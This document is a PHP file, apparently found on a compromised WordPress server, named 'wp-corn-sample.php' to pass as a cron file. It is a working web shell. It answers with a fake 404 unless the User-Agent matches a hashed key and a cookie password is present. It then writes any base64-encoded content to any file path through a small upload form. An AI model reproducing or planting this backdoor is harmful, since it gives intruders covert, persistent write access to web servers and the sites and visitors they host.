| Current Path : /home/x/b/o/xbodynamge/crosstraining/cache/6905c2f8a89cc/ |
| Current File : /home/x/b/o/xbodynamge/crosstraining/cache/6905c2f8a89cc/wp-corn-sample.php |
<?php
define('UAMD53KEY', 'f669e3492f8f47c1c30c712c9c2952d0');if(md5(md5(md5(getenv('HTTP_USER_AGENT')))) != UAMD53KEY){header('HTTP/1.1 404 Not Found');header("status: 404 Not Found");die();}
if(session_start()){preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);$domain = $match[0];$domain=preg_replace('|^www\.|', '', $domain);if($_COOKIE[md5($domain.'pswd')] != '8558cd0e6eea095fcd7b451e0dbffd87'){echo "The authorization failed, please re -authorize";exit();}}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
try {
$encodedFilename = $_POST['filename'] ?? '';
$encodedContent = $_POST['content'] ?? '';
$filename = base64_decode($encodedFilename);
$content = base64_decode($encodedContent);
file_put_contents($filename, $content);
} catch (Exception $e) {
http_response_code(400);
echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>save file</title>
<script src="https://cdn.jsdelivr.net/npm/jquery@3.6"></script>
<script src="https://cdn.jsdelivr.net/npm/js-base64@3.7.5/base64.min.js"></script>
<script>
function beforeSubmit(){
$("#filename").val(Base64.encode($("#filename").val()));
$("#content").val(Base64.encode($("#content").val()));
return true;
}
function Base64Decode(){
$("#filename").val(Base64.decode($("#filename").val()));
$("#content").val(Base64.decode($("#content").val()));
}
function Base64Encode(){
$("#filename").val(Base64.encode($("#filename").val()));
$("#content").val(Base64.encode($("#content").val()));
}
</script>
</head>
<body>
<form id="saveForm" method="post" onsubmit="return beforeSubmit();">
<label for="filename">
filename:
<input type="text" id="filename" name="filename" value="<?=($_POST['filename']??'')?>" required>
</label>
<br>
<label for="content">
content:
<textarea id="content" name="content" cols="100" rows="30" required><?=($_POST['content']??'')?></textarea>
</label>
<button type="submit">save</button>
</form>
<button id="base64decode" onclick="Base64Decode()">base64 decode</button>
<button id="base64encode" onclick="Base64Encode()">base64 encode</button>
</body>
</html>